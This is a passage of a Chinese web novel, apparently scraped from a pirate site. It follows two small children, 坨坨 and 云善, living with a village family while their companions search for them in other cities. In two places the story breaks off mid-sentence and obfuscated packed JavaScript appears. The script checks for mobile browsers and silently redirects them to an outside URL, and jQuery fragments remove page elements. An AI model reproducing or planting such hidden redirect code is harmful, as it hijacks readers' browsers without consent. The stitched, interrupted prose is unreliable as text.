其实是,马奶奶睡醒午觉后出来找人。找了一下午,也没找到李爱聪和坨坨、云善。问村里人打听,有两个小孩说中午在河边见过李爱聪。 马奶奶又去河边找了一大圈,怎么也找不到人。心里怕小孩掉河里了,就喊了她两个大孙子一起出来找。 李爱慧在李爱聪脑袋上拍了一下,“你出来咋不和奶说?” “我奶叫我出来的。”李爱聪十分委屈,“是她叫我出来的。” “你来我家,你还和奶说一声呀。”李爱慧说,“她找不到你她多急。” 李爱聪委屈地扭过头。 云善站在黑色的二八大杠旁左摸摸又摸摸,仰着小脑袋问李爱诚,“这是什么呐?” “自行车。”李爱诚对他招招手,“你过来,我抱你上去坐。” 云善绕着自行车跑了一圈,站在李爱诚面前。 李爱诚弯下腰,单手把他抱到前面大杠上,“扶好车把。” 云善哈哈笑了几声,摸到了前面的车铃,小手拍了拍。坨坨跑过去,拨动车铃,“叮铃铃。” 云善更高兴了,也学着坨坨的样子拨车铃。 李爱诚扶着车,坨坨大胆地爬上去,让云善往前挪挪,他歪着屁股也挤在大杠上。 他使劲把云善往前挤了挤,两只手撑在云善两边,扶着车把。 李爱聪见前面挤不上去,主动爬到后座上,两条腿撇在自行车两边。 李爱诚推着车子往前走。 “这咋回事?”李爱慧看向前面的坨坨和云善。 “我也不知道。”李爱诚说,“就听奶说了一句,小聪和两个小孩在一起。” “说是小叔家要领养。”李爱慧道。 “那我就不知道了。”李爱诚说。 云善撒开扶着车把的手,迎着傍晚的暖风哈哈笑起来。 坨坨努力地圈着他,“云善,别乱动,要掉下去了。” 云善拍拍车把,“自行车。” “等花旗他们来了,咱们也买个自行车骑。”坨坨高兴道,“叫兜明骑了带我们玩。”到时候他们四个人可以骑一辆车。 “嗯!”云善很高兴,又问,“花花什么时候来呐?” 坨坨哄他,“再过些天。花旗忙去了。” “西西呐?” “也忙了。”坨坨说,“兜明、小丛他们都去忙了。” “忙完就过来找我们。” “忙什么?”云善转过脸问。 坨坨眨了眨眼道,“去工作,挣钱了。” “挣钱给我们俩买自行车。” “花花有钱。”云善说。 “他的钱不够。得工作挣钱。”坨坨道。 云善又问,“工作是什么呐?” “就是干活。”坨坨说。 云善,“我也能干活。” “大人干活和小孩干活不一样。”坨坨又说。 这边,李爱慧兄妹两个边聊天边注意坨坨他们说话。坨坨也留意着李爱慧兄妹的聊天内容。 原来李爱诚是当兵的。坨坨偏过脑袋想,怪不得李爱诚站得那么端正,还一身正气呢。 知道李爱诚是军人,坨坨立马就决定了留在李大志家。军人哎,多么可靠。他还有什么可担心的?如果李大志不好,他就去告诉李爱诚。 坨坨对自己的决定很满意,对李爱诚也很满意。 马奶奶等在巷子口,瞧见李爱诚他们回来,总算放心了。 李爱诚把坨坨和云善挨个抱下车,云善还没过完瘾,拉着后车座跟在自行车后面走。 李爱诚也好奇云善和坨坨是怎么回事,就和李爱慧一起去了李大志家。 马奶奶把想收养坨坨和云善的事说了。 李爱诚道,“孩子说是走丢的,还是报警吧。” “不用报警。”坨坨说,“他们会找来的。” 李爱聪的后妈刘云带着她闺女也在这,“要是家里大人会找来,还领养什么?” “送去给派出所呗。” “不能留我们住吗?”坨坨主动问。 “留你们住?吃的粮食算谁的?”刘云嘲笑道,“说的轻巧,你当谁家粮食是白来的?” “等花旗来了,让他给你们钱。”坨坨说,“我和云善小,我俩吃不了多少。” 刘云一开口,坨坨就知道这人不好相处。他很少遇到这样的人类。 马奶奶扇了下蒲扇道,“不管人家找不找过来,让他俩先在咱家住着吧。这两小孩还能吃多少东西?” 马奶奶心里更偏信,坨坨和云善是被丢掉的。要是过一两年没人来认,这两孩子就是她家的了。 云善抓着自行车脚蹬子,一圈又一圈地转得高兴。李爱聪骑在李大志家狗身上,抓着两只狗耳朵带着狗往前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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坨坨撩水把自己洗干净,等云善玩够了出来。他问明东霞要洗衣液洗衣服。 “啥洗衣液?”明东霞从窗沿上拿过一块白色肥皂给他,“我听都没听过,你用肥皂洗。”他指着走廊说,“走廊里有洗衣粉。用洗衣粉也行。” 坨坨就拿了肥皂,蹲在盆边,用手一点点地搓衣服。 “坨坨啊,放那。我给你洗。”马奶奶说。 “马上就洗完了。”坨坨说。 李爱慧问,“他们就一身衣裳?” “我回去把小聪穿小的衣裳拿过来。” 坨坨洗干净衣服后,甩在院子里的绳子上。 “还挺能干。”明东霞笑道。这么小点人能哄弟弟,还能洗衣裳,看着都招人喜欢。 云善光着屁股,跟在坨坨身边。大人都不在,他就紧紧跟着坨坨。 明东霞收拾好了碗筷,打开了院子东边的屋子,“先睡你姐的屋吧。” “我也在这睡。”李爱聪道。 李爱聪是几个叔伯家最小的孩子,平时都和别人家的小孩玩。这下家里来了两个岁数差得不大的,他就愿意跟坨坨他们玩。 “你别动你三姐的东西。”明东霞说,“要是让你三姐知道,又要追着你打。” “我知道。”李爱聪走进屋里说,“我不拿她东西。” 明东霞跟在后面拉动墙边的灯绳,屋里一下子亮了起来。 坨坨好奇地看向墙边的绳子,绳子下面还坠了一串黑色的珠子。“这是开关啊?” 明东霞又拉了一下灯绳,就听“咯噔”一声,屋子里变暗了。 “咯噔”,屋子又亮起来,明东霞说,“这是灯绳,拉一下开,拉一下关。” “你们那没电灯吗?” “有。”坨坨说,“跟这不一样。” 明东霞寻思,城里的电灯难道和她们这不一样? 现在外面天还亮着,李爷爷坐在屋檐下抽旱烟。他的烟锅和梁文忠的烟锅长得差不多。 “你们睡吧。夜里别打架。”明东霞关上屋门。 坨坨跑到墙边,“咯噔”一声关了灯。 “关灯干什么?”李爱聪问。 “我玩玩。”坨坨说,“我没见过灯绳。” “以前我们用开关,按一下灯亮,再按一下灯就熄了。” “那和灯绳一样。”李爱聪说。 “咯噔。”坨坨拉亮灯,李爱聪爬到床上躺好。 “我。”云善拿走坨坨手里的灯绳,“咯噔”关上灯,又“咯噔”拉亮灯。 灯泡在这一声又一声的“咯噔”“咯噔”声中明明灭灭。 李大志拍拍屋门,打开门,尽量温和道,“灯不能这样玩,会被拉坏。快睡觉去。” “知道了。”坨坨拉着云善不让他继续玩了,“再玩就坏了。” “我们睡觉。” 爬到床上,云善又想花旗他们,坐在床上哇哇哭。 李爱聪被吵得心烦,堵着自己的耳朵。在床上趴了一会儿后,他伴着云善的哭声睡着了。 坨坨一直安慰云善,“花旗他们肯定会找来的。” “你还记得去年,花旗他们也不在,后来就回来了。” 云善抽抽搭搭地哭,“我不记得了。” “他们肯定会来的。”坨坨说,“花旗他们不会不要我们。” 最后,云善哭累了,挂着眼泪,抓着坨坨的手躺在床上睡着了。 明东霞躺睁着眼睛看屋顶,“是不是没哭声了。” 李大志没应声。 明东霞喊一句,“大志。” 还是没人应声。她嗨了一声,翻过身闭上眼睛。心里有些羡慕,李大志的觉可真好睡,躺床上就能睡着。 4. 第二天 深夜,花旗推开屋门。外面夜色浓重,四下黑乎乎。他翻了霍然家的墙头,轻巧地落地。 他飞快地掠过荒地,在夜色掩护下奔跑在城市的道路上,嘴里发出“嘶嘶”的叫声。 一圈跑下来,花旗的脸色又阴了下来。所有的同类都告诉他,没有发现云善的踪影,也没有西觉和小丛的踪迹。 云善不在风城?花旗第一次思考这个问题。难道只有他和兜明在这个城市? 如果云善不在风城,那会在哪? 回去的路上,花旗一直想着这些问题。到霍然家时,天还黑着。他动作轻巧地翻过墙头,悄无声息地回到屋里。 兜明警惕地睁开眼,坐起身问,“找到了吗?” “没有。”花旗说,“谁都也没找到。” “他们应该不在这。”不然不可能一个都找不到。 “不在这能在哪?”兜明茫然地问,“我们去哪找他们?” 花旗站在窗边垂着头说,“总会找到。” 就算跑遍世界,一寸一寸地搜,他也一定会找到云善! 院子里的公鸡“喔喔喔”地打鸣,坨坨从床上坐了起来。他冲着窗外看了一眼,外面天才刚亮。 下了床,走到墙边,坨坨摸到灯绳,“咯噔”一声拉开。他眯着眼睛看到云善趴在粉色的枕头巾上睡得正香,身上盖着碎花小被子。 李爱聪已经滚到了云善脚边。 坨坨关了灯,拉开木门,跑去晾衣绳边摸了摸昨晚洗的衣服。一夜过后,衣服已经干得差不多了。 坨坨把自己的衣服套上,又把云善的衣服拿进屋里,放在他身边。一会儿云善起来了,自己就会穿衣服。 锅屋里有点黑,坨坨在门口墙边一顿摸索,摸到绳子就扯一下,屋子中央的电灯泡亮了起来。 他打开靠墙的柜橱,舀出些米,先把稀饭煮上。揣面的时候,听到院子里有动静。 坨坨跑到厨房门口向外看,正好和马奶奶对视上。 “坨坨啊,这么早就起来了?”马奶奶走进锅屋说,“咋不多睡会儿?” “平时都是天亮就起了。”坨坨回到桌边继续揉面。 “你还会做饭?”马奶奶十分吃惊。 “每天都做。”坨坨说,“有韭菜吗?我想做大盒子。” “有。”马奶奶说,“我现在就去后面割。” “现在的韭菜嫩得很。好吃。” 马奶奶走回屋里,拿了镰刀,开了院门出去。 很快,院子里又有了些其他动静。 明东霞走进来,看到坨坨在揉面,也十分吃惊,“做饭呢?” “米汤煮上了。”坨坨说,“一会儿做大盒子吃。” “你会做?”明东霞笑着问。 “会。”坨坨说。 “坨坨。”云善光着身子,光着脚站在院子里大喊。 “哎。”坨坨应一声,拍掉手上的面粉,快步走出锅屋。 “尿尿。”云善跑过去。 平常云善早上上厕所都是叫上铁蛋一起去,到了陌生的地方,没人陪着,他心里有些不安。 “你没穿鞋呢。”坨坨这时候也不敢抱他。云善早上能起来撒尿那就是很急了,要是抱了说不定就被云善尿身上了。 坨坨牵着云善走出院子,让他蹲在门口尿尿。 李大志家的大白狗站在旁边看着,等云善尿完尿,它走过去低头闻了闻。 云善站在门口要看狗,坨坨拉他的手,“回去先穿上衣服和鞋。” “自己走两趟拳。” 说到走拳,云善就问,“嘟嘟呢?” “挣钱去了。”坨坨牵着他回屋,问明东霞要了毛巾,替云善擦干净脚丫子。 他帮云善穿上衣服,然后带着云善去院子里的鸡窝捡鸡蛋。 李大志家就几只鸡,一共捡回来三颗蛋。坨坨顺手从盆里撩了水洗干净鸡蛋。明东霞在一旁水井边洗衣服。 马奶奶掐着一把韭菜回来,笑着说,“哟,云善也醒啦?” 云善冲她笑了笑。 马奶奶把镰刀放回屋里,捡了个小板凳坐在水井旁边一边和明东霞说话,一边摘韭菜。 云善拿着鸡蛋跟坨坨进锅屋。坨坨找了个碗给他。 云善拿鸡蛋在碗边磕了一下,把破开的鸡蛋一掰,蛋黄和蛋清都掉进碗里。 坨坨又从柜子里拿了两颗鸡蛋,让云善一块打进碗里。打完鸡蛋,云善拿了一双筷子,站在桌子边,用筷子在碗里顺时针搅着蛋液。 “喂鸡了?”院子里响起李爷爷的说话声。 “还没。”明东霞说,“刚放出来。” 李爷爷回屋舀出一瓢麦麸倒到鸡食盆里,又舀了点水掺进去拌了拌。几只鸡争先恐后地围在破盆边啄食。 “我去后头看看牛。”李爷爷说着就出门去了。 “还养牛了?”坨坨站在锅屋门口问,“我怎么没看到?” “养在后面牛屋里。”马奶奶说,“就在后头河边上。” “这头牛养了五六年。今天要割麦子,它也得干活了。” 坨坨走出来跟着马奶奶一起理韭菜。 等韭菜理完了,李大志才起来。他拿走放在窗沿边上的瓷缸,瓷缸里有一根炸开毛的牙刷和一只干瘪的牙膏。 他从干瘪的牙膏里挤出黄豆大小的白色牙膏到炸毛的牙刷上,随意把牙膏丢回窗台。 拿着瓷缸从井边的盆里舀了一瓷缸水,端着去了大门口蹲下刷牙。 “东霞,啥时候给我们买牙刷?”坨坨的话一出,明东霞和马奶奶都是一愣。 明东霞板着脸说,“东霞是你叫的?” “你这孩子咋还没大没小。”马奶奶说,“你先管她叫姨。” 坨坨没吱声,掐着韭菜到井水边。 明东霞坐在一旁搓着衣服问他,“咋,还当不起你一声姨了?” 坨坨看了她一眼,在心底叹了口气。人类的称呼自古以来对他们妖怪来说都麻烦。 坨坨把洗干净的韭菜使劲甩了甩,掐进锅屋。 马奶奶跟进来说,“该叫人叫人。小孩哪能叫大人名。你在家也叫你家大人名?” “不要被打死啊。” “我们那都叫名。”坨坨说。 “好了。”云善放下筷子。 “这打了几个鸡蛋?”马奶奶看到那大海碗里满满都是蛋液,心疼地问。 “五个。”坨坨说,“五个不多。” 坨坨说着把韭菜切成碎末,铲到旁边的不锈钢盆里。 “五个?”马奶奶还是很心疼,自己念叨着,“五个就五个吧。干活是得吃好点。” 她从屋角抓了一把稻草填进灶台里,从屋里窗台上拿了一盒火柴,擦亮火点燃灶膛里的稻草。 “你们家那小孩都叫大人名?不挨打?” 云善早拿着几根柴火等在旁边,看灶台里亮了火,他就把柴火填进去。 坨坨说,“不挨打。我们不讲究这些。” “真不讲究。”马奶奶笑着看云善,夸道,“哎呀,云善能干呀。还会烧火。” 云善喜欢人家夸他。马奶奶一夸,他就高高兴兴地笑,指着马奶奶握在手里的火柴盒问,“火折子啊?” “洋火。”马奶奶站起身,把火柴盒放回窗台上,“云善不要玩洋火,小心夜里尿床。” “哦。”云善点点头,坐在灶台边老实烧火。 马奶奶站在旁边笑着看云善往灶台里填柴火,越看越觉得云善乖,也就越看越喜欢。云善长得这样好,又乖,要是有这样的孙子,她心里很高兴。 “云善让让,我炒菜了。”坨坨端着碗说。 云善站起来往外跑,路过窗台,踮脚往上面摸。 眼见着他要摸到火柴盒了,马奶奶几步走过去,把火柴盒拿在手里,“小孩不能玩。” “我看看。”云善仰着脸说。 马奶奶知道小孩是什么样,说是想看就是想玩。她哄云善说,“你去看看小聪,他咋还不醒?你给他叫起来。” 云善跑出屋子,坨坨把鸡蛋倒进锅里翻炒。 明东霞洗完衣服晾好,正赶上坨坨做的第一锅韭菜鸡蛋大盒子出锅。 李爱聪和云善一人拿了一个大盒子站在院子门口吃。隔壁邻居家养的黑狗站在不远处眼睛一眨不眨地盯着他们。 云善撕下一点大盒子,往前丢在地上,对黑狗说,“吃。” 黑狗摇着尾巴跑过来,低头把地上的东西吃了。它胆子大了些,又往前走了几步,站得离云善更近。 明东霞笑着盛米汤,和一旁的马奶奶说,“今天还吃上现成的了。” “弄得像模像样。” “大盒子做得好吃。”李大志站在院子里接话。 “打那么多个鸡蛋,能不好吃?”好吃是好吃,马奶奶还是心疼那五个鸡蛋。 为了盖这砖房,小儿子家的积蓄全掏空了。现在都得省吃俭用。家里还有两个孩子上学。 李爱慧背着一包衣服走过来,赶走了等食吃的黑狗。她走进院子,明东霞赶紧招呼她,“小慧,来吃大盒子。” “坨坨做的。” “他还能做大盒子?”李爱慧显然很吃惊。 “人家能干着呢。”马奶奶问她,“拿衣服来了?” “嗯。”李爱慧熟门熟路地把衣服放到坨坨他们昨晚睡觉的屋里。 吃完早饭后,马奶奶把剩下的韭菜鸡蛋盒子装在篮子里,让李爱慧拎回家。 “不用。”李爱慧赶紧推辞,“我吃过了,哪还能连吃带拿的。” 奶奶和爷爷跟着小叔、婶子住在一起,她又吃又拿的,就怕小叔婶子有意见,到时候和爷爷、奶奶吵架。 “拿着。”马奶奶强硬地把篮子塞到李爱慧手里。“今天不是回家干活吗?这么多饼,省你中午做饭。” “奶,不用,你们吃。”李爱慧笑着说,“我想吃自己会做。” “带回去吧。”明东霞说,“自己包还要费事。” 明东霞说话了,李爱慧才道,“行。” “爷奶、叔婶,我回去了。” 马奶奶一直把李爱慧送到路边,叮嘱道,“你和强子好好过日子。不要太要强,多听听强子怎么说。” “知道了,奶。” “打算什么时候生孩子?”马奶奶又问。 “这也不是我决定的。有就有,没有就没有。”李爱慧挎着篮子笑着说,“行了,奶,我走了。” “去吧。”马奶奶站在路边,目送李爱慧走远。 李爷爷拿着一根竹竿赶着自家的一群鸭子从后面走来。云善和李爱聪在前面把鸭子撵得嘎嘎叫。 “别撵。”马奶奶喊,“再把鸭子吓着了。” 李爱聪和云善就像没听见一样,继续撵着鸭子跑。 马奶奶急得站在路边骂,“活作!一个个小活作!” 到了河边,一群鸭子呼啦啦地下了水。河边上已经有其他家的鸭子成群成群地在水面上游泳。 李爱聪从地上捡起一个土疙瘩,冲着河里前面的一群鸭子砸过去。 很快斜后方伸过来一根竹竿,在李爱聪脑袋上敲了一下,“那是我家鸭子。” 李爱聪转过身看到是谁后,喊了一声,“二哥。”然后理直气壮地冲着路边的马奶奶喊,“奶,二哥打我。” 马奶奶翻了个白眼,大着声音说,“你不手欠砸鸭子,你二哥能打你?” “就是。”李爱波拎着李爱聪的耳朵说,“你就手欠。” 李爱聪在李爱波胳膊上拍了几下,“你撒手。” 哥俩闹了一通,李爱波才看向坨坨和云善,“这两个是新来的?” “嗯。”李爱聪点头。 “吃饭了没?”李爱波招呼道,“上我家吃饭。” “吃过了。”李爱聪说。 “那就上我家玩。”李爱波把坨坨和云善拉去自己家。 “这谁啊?”坨坨边走边问李爱聪。 “我大伯家的二哥。”李爱聪说。 “和爱诚一家?”坨坨问。 李爱聪点点头。 “什么爱诚?”李爱波转身用赶鸭子的竹竿在坨坨脑袋上也敲了一下,“你得喊大哥。” “小心我大哥打你。” “军人不打群众!”坨坨捂着脑袋反驳。 云善抓着竹竿,跑过去在李爱波的大腿上捶了一下,绷着小脸说,“不打坨坨。” “嘿。”李爱波抓住他脑袋上的朝天辫晃了晃,“你这么小你还打人。” “你不要抓云善的辫子。”坨坨掰开李爱波的手。 “你俩长得还真像。”李爱波说,“发型都一样。” 李爱聪,“他们是亲兄弟。” 李爱诚坐在桌边正喝粥。坨坨看他十分亲切,跑过去问,“爱诚,吃饭呐。” 李爱诚被粥呛了一口,“咳咳咳”。等停下来后,他嘴角挂着笑道,“你得管我叫大哥。” 坨坨犹豫了一下,“大哥。”花旗他们不在,坨坨把李爱诚当成一条粗大腿,随时准备抱上。 “吃饭了?”李爱诚问他。 坨坨点点头。 “来叫大伯。”李久福笑呵呵地看着云善和坨坨。 坨坨和云善一起看了他一眼,什么也没说。李久福敞着怀,看起来已经像个老头子了。 李爱波在桌边坐下,撕开半个馒头递给李爱聪。 “我不吃。”李爱聪说,“今天我们吃韭菜鸡蛋大盒子。” “咋没给我带一个?”李爱波立马问。 李爱聪嘿嘿笑两声,“我忘了。” “还有剩的没?”李爱波问。 “没了。奶让我姐带走了。”李爱聪说。 和李久福看起来差不多大的赵秀英笑着问坨坨和云善年纪。 “我四岁。”云善说。 “我五岁。”坨坨说。 “还都小。”李久福说,“能养得熟。” 吃完饭,赵秀英站起来收拾碗筷。她个头高,人也壮实。李久福瘦,看起来干干瘪瘪的,瞧着还没赵秀英壮实。 李爱波捉住李爱聪,“走,干活去。” “我不去。”李爱聪说,“我要和坨坨、云善一起玩。” 李爱聪岁数小,家里不叫他干活。他一直就没干过农活。 李爱波非要捉着李爱聪玩闹,把他往田里拉。坨坨和云善都一起跟过去了。 他们兄弟三家的田靠得近。路过李爱聪家的田地,赵秀英扬声和在地里割麦子的刘云、李爱香打了声招呼。 李爱香十三岁,自己不想念书,就不读书了,平日在家里帮刘云干些活。 “大勇过两天就回来了吧?”李久福问赵秀英。 “我不知道今天星期几。”赵秀英道。 李爱诚接道,“今天星期四。二叔明天就该回来。” “你爸明天就回来了。”李爱波特意对李爱聪说。 “我知道。”李爱聪应一声。 他们到田里时,旁边地里,李大志、明东霞还有李爷爷、马奶奶都已经割了一行麦子。他家那条叫小白的大白狗好动地往地头吃草的水牛身上扑。 坨坨还打算找花旗,没和李爱聪在田里玩,而是拉着云善继续往西走。 “干嘛去?”李爱聪问。 “我再去找找人。”坨坨说。 “昨天不是去过了吗?那边没人。”李爱聪道。 “我再往西走走。”坨坨说。 于是三个小孩就一路往西去了。 风城,霍家的院子里,花旗、兜明跟着霍言、霍言爷爷奶奶吃完饭。霍言骑上自行车说要去上学。 “你别自己骑车。”霍言奶奶说,“叫你哥送你去。” “可拉倒吧。”霍言不屑道,“他还不知道睡到几点起。” “我就在城里,遇不到流氓。” “昨天那一遭弄得我心里慌慌的。”霍言奶奶说,“不行,我叫你哥起来送你。” 霍言奶奶进了霍然屋子里一通吼,霍然顶着鸡窝头,一脸不耐烦地走出屋子,脸上还带着睡意。打了个哈欠说,“霍言,一会儿我骑车送你上学。” “昨晚你又去哪鬼混了?”霍言说,“哥你能正经点不?” “哪家好青年半夜才回来?” 霍然嫌她烦,“你赶紧闭嘴吧你。” “小言说得不对了?”霍言奶奶跟在后面说,“谁家好青年晚上玩到半夜回来?” “外面有什么勾你魂?” “说得我好像在外面干什么了似的。”霍然挤出牙膏,“我做生意。又不是去鬼混。” “刚开了个录像厅。晚上人多。”他叼着牙刷,含糊不清地说。 霍然大力用牙刷刷着自己牙齿,很快嘴里就冒了许多白泡泡。洗完脸后,他才意识到家里还有客人,沾着水抓了两把头后问兜明和花旗,“舞厅里好玩吧?” 兜明诚实地摇摇头。昨天霍然非要拉他们去他开的舞厅里转一转。兜明和花旗觉得不好玩,早早回来了。 “你还小孩。”霍然不正经道,“毛还没长齐,你啥也不懂。” “花旗,你觉得咋样?” 花旗摇摇头,“找到人了吗?” 霍然抓起油条咬了一口,“不会这么快的。” “哥,你快点,一会儿迟到了。”霍言推着自行车站在门口催。 “现在走,现在走。”霍然急道,“再等等我。我穿衣服。” 等霍然和霍言离开后,花旗问霍言爷爷有没有地图。 “小然屋里有,我去给你拿。”霍言奶奶进了霍然屋里,拿出一本地图册给花旗。 兜明凑过来,看到密密麻麻的小字,立马又缩回头。 花旗仔细研究了一番,又问了霍言爷爷奶奶关于风城的事,很快在地图上确认了他们现在的位置。他寻着记忆,找梁小飞所在的省份,发现地图上没有那个位置。 找不到那个省份,那就找不到云灵山,花旗皱起眉头。 他看完地图,准备离开。霍然刚好骑着自行车回来了,“花哥,兄弟们打听过了。没有你说的那四个人。” 他含糊道,“有可能去别的地方了。” “那该怎么找?”兜明问。 “报警,或者登报纸吧。”霍然说。 花旗略微一想,便说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273973|166656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “登报纸吧。” “成。”霍然把自行车支在墙边,“你再和我说说他们是什么特征。现在我们就写信给报社。” 另一端的白城,西觉和小丛终于找到了一份工作。 推着自行车、带着眼睛的斯文男人一边说话,一边把他们往自家新房那领。 “我买的好瓷砖。你们可得给我好好贴。” “嗯。”西觉点点头。 “我姓汪,在白城大学里教书。你们叫我汪老师就行。”斯文男人笑着说。他一笑起来,眼尾散开许多鱼尾纹,瞧着也要有五十了。 汪老师的房子离得不算远,走半小时就到了。 这是一个独家独院的二层小楼。院子里打了水泥地。 王老师支好车子,取了钥匙打开屋门。指着屋里的水泥和瓷砖说,“你们先试试,我看看你们的水平。” 小丛和西觉的打扮看起来不像是会贴瓷砖的。可是汪老师已经找了三天,西觉他们是他找到的第一批会贴瓷砖的。汪老师心想,不能以貌取人,是骡子是马得溜溜才知道。 西觉屋里屋外转了一遍,看到屋里已经被打扫得很干净。他拎着水桶去院子的水龙头下接了一桶水回来,然后熟练地用铲刀撕开水泥袋,开始活水泥。 汪老师看着西觉贴了一上午瓷砖,见态度认真,速度也快,贴出来的瓷砖很平。 “干得很好嘛。”汪教授蹲在地上看了又看,笑着夸“你们这是专业技术人才。” “汪老师,工资能给我们一天一结吗?”西觉问。 汪老师扶了扶眼镜,“这种活没有一天一结的吧。你们干三天我给你们结一天行不行?” “我们需要钱登报找人。”西觉说,“很急。” “找什么人?”汪教授问。 “找家里人。”西觉说。 “我们和家里人走散了。”小丛道。 “不先回家看看?”汪老师问。 西觉摇头,“他们不会回去的。” 汪老师点点头,“那就干一天活,结一天工资。铺一块砖,给你们结三毛钱。我这一共要铺420块砖,就是126块钱。” 只要铺四块砖,他们就能买纸笔贴寻人启示了。小丛和西觉都对这个价钱没异议。 中午,汪老师先支给他们五块钱,让他们买饭吃。小丛和西觉没吃饭,他们拿着钱去商店买了纸笔,写了寻人启示,满城地找电线杆贴。 下午过来了个和汪老师长得有些像的青年。听青年介自我介绍说是汪老师的儿子。 青年拿了本书,坐在门口看书。西觉和小丛就在屋里干活。 坨坨、云善和李爱聪经过王家村,看到一望无际的金色麦田。因为距离远,弯腰在麦田里割麦子的人在他们眼里成了一个一个的小黑点。 “应该不是这个方向。”坨坨说。这边都是田地,这么开阔,西觉他们应该很快就能找到他们。 坨坨蹙起眉头,小声念叨,“他们到底在哪?” 云善走累了,跑到树荫下坐着歇息。 坨坨看看太阳,现在该回去做饭了。 坐在树荫下歇了会儿,他们三个又往回走。经过李久福家田里时,坨坨瞧见他们已经割了不少麦子。李爷爷正赶着牛,往牛车上装麦子。 “我们先回去做饭了。”坨坨喊。 李爷爷应了一声。 坨坨他们回到李大志家门口,发现院子门锁了,他们进不去。于是他们又跑去田里拿钥匙。 马奶奶带着草帽,满头汗地说,“我跟你们一起回去。” 李爷爷赶了牛车追过来,“坐车上回去。” 经过河边菜园,马奶奶下了牛车,带着坨坨他们去菜园里摘菜。 马奶奶给他们开了院门后,就去李久福家帮李爷爷卸麦子。他们夫妻两个六十多岁,干不了重活,就赶着牛车帮三个儿子家运麦子。 云善喜欢吃凉拌西红柿,坨坨就做了一大份,放了不少糖。 云善站在厨房门口对坨坨说想吃肉。 “我也想吃肉。”李爱聪道,“可我奶没买肉。” 家里后妈虐待他,李爱聪基本都呆在李大志家,要么就去他大伯家蹭顿饭。除非他爸在家,不然他睡觉也不回家睡,一般都睡在李爷爷、马奶奶屋里。 云善指着院子里走动的母鸡说,“肉。” “得问马奶奶给不给杀。”坨坨说。他淘米蒸上一锅饭。然后又快手快脚地炒了两个素菜。 盘子里全是绿的,云善站在桌边,又说想吃肉。他在山里一天两顿都吃肉,有时候早上也吃肉包子。这两天有四顿没肉吃,他就有点受不了。 马奶奶回来,从暖水瓶里倒了晾凉的水喝。李爱聪站在院子问,“奶,杀不杀鸡吃?我想吃肉。” “杀什么鸡?”马奶奶立马道,“鸡是留着下蛋的。” “你再等两天。过两天赶集再给你买肉吃。” “云善也想吃肉。”李爱聪说。 云善和坨坨一起站在锅屋门口看过去。马奶奶眉头一皱,“想吃肉都等等。过两天再说。” 马奶奶不让杀鸡,他们就没肉吃。坨坨想了又想,带着云善出了院子。 “要吃饭了,别往外跑。”马奶奶的喊声追出来。 “等会儿就回来了。”坨坨回道。 李爱聪跟着坨坨跑到河边,看到坨坨脱了衣服往河里跳,他大喊,“奶不给我们下河。” “我会游泳。”坨坨说。 “奶说淹死的都是会游泳的。”李爱聪大声喊。 坨坨哎呀了一声,“你看着点云善,别叫他下来,我捉到鱼就上去。” “云善,你别下来。” 云善站在河边伸着脖子往下看。李爱聪拉着他,也跟着往河里瞧。 坨坨在水里沉浮了几次,手里抓了一条不大不小的鱼扔到岸上。 云善跑过去按住鱼。 坨坨又沉下水。李爱聪站在河边,看看鱼,又看看波动的水面你,乐呵呵地说,“真能捉到鱼啊。” 坨坨又丢了一条鱼上来后就爬上了岸。 李爱聪和云善两个一人搂着一条鱼,坨坨光着身子抱着衣服,三人往家跑。 马奶奶坐在走廊下摇蒲扇。看到他们三个回来,惊讶地问,“谁给的鱼?” “坨坨抓的。”李爱聪兴奋道。 马奶奶站起身,“下河了?” 她对坨坨说,“你这点小孩下什么河?” “河边是你能去的?” “下次不要去河边。” 坨坨没应声,熟练地杀鱼。 马奶奶跟过来说,“过两天赶集就给你们买肉吃。” “行。”坨坨答应。 “可不能再去河边了。”马奶奶道。 云善跟在旁边应声,坨坨没吱声。他不像西觉他们会捕猎,只会抓鱼。 两条鱼杀好,放在锅里先炸一下再炒,味道很香。李爱聪围在灶台边,等着吃鱼。 马奶奶心疼地看着锅里,唠叨道,“用这么多油啊。” “坨坨做饭比婶子做饭好吃。”李爱聪说。 “放这么多油能不好吃?”马奶奶道。 李大志、明东霞从地里回来,瞧见桌上有鱼。李大志好奇地问,“谁家给的鱼?” “坨坨在河里抓的。”李爱聪说。 “抓的?”明东霞拿过蒲扇给自己扇风,在桌边坐下,“小孩不能下水。” “想吃鱼了,等忙完地里的活,让你叔去钓两条来。” 有一条鱼肚子里满是籽儿。明东霞把鱼籽分开,给坨坨、云善和李爱聪各分了一份。 云善混着饭把鱼籽吃了,又吃了好几块坨坨给他挑的鱼肉。 碟子里的西红柿被吃完,剩下些汁水。坨坨端了碟子给云善倒了一半,问桌子对面的李爱聪,“你要不要?” “要。”李爱聪把碗推过去。 坨坨把碟子里剩下的西红柿汁分成两份,他一份,李爱聪一份。 “我就这点啊?”李爱聪有些不满。 “我也这点。”坨坨说。 马奶奶放下筷子对李爱聪说,“洋柿子是什么好东西?想吃你自己去摘。园子里还有不少红的,你都摘回来。” “我不去。”李爱聪两口喝完西红柿汁。 桌上的那碟鱼最先吃完,剩下的汤汁也被李大志用来泡饭了。 李爷爷吃得很高兴,吃完饭把凳子挪到屋门口,拿出装烟丝的皮袋子准备抽烟。 云善滑下凳子,跑过去抓住了他的黄铜小烟锅,“我来。” 李爷爷脸上带着笑意,“你来。” “你会装?” “会。”云善扒开皮袋,倒了些烟丝放在手上,再把烟丝捏到黄铜烟锅里,递给李爷爷。 